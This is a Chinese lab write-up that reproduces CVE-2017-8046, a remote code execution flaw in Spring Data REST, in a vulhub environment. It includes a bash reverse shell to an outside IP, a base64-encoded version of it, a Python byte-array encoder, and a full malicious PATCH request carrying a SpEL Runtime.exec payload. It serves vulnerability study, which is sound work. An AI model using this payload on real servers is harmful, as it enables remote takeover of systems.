vulhub中spring的CVE-2017-8046漏洞复现

漏洞原理

Spring-data-rest服务器在处理PATCH请求时，攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器，通过构造好的JSON数据来执行任意Java代码

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

具体过程

打开环境后可以看到这个页面

可以利用代码块生成Ascii的命令

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

就不尝试创建seccess文件了，直接利用

bash -i >& /dev/tcp/192.168.140.43/7777 0>&1

base64编码后得到

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My83Nzc3IDA+JjE=

和bash反弹连接命令拼接得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'

利用代码对拼接后的payload转换为ascii码

payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

通过burpsuite发送POC后

PATCH /customers/1 HTTP/1.1
Host: 192.168.188.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 456

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,48,77,67,52,48,77,121,56,51,78,122,99,51,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

执行成功后，shell成功反弹

在复现过程中好几次shell反弹不过来，重启了环境后才成功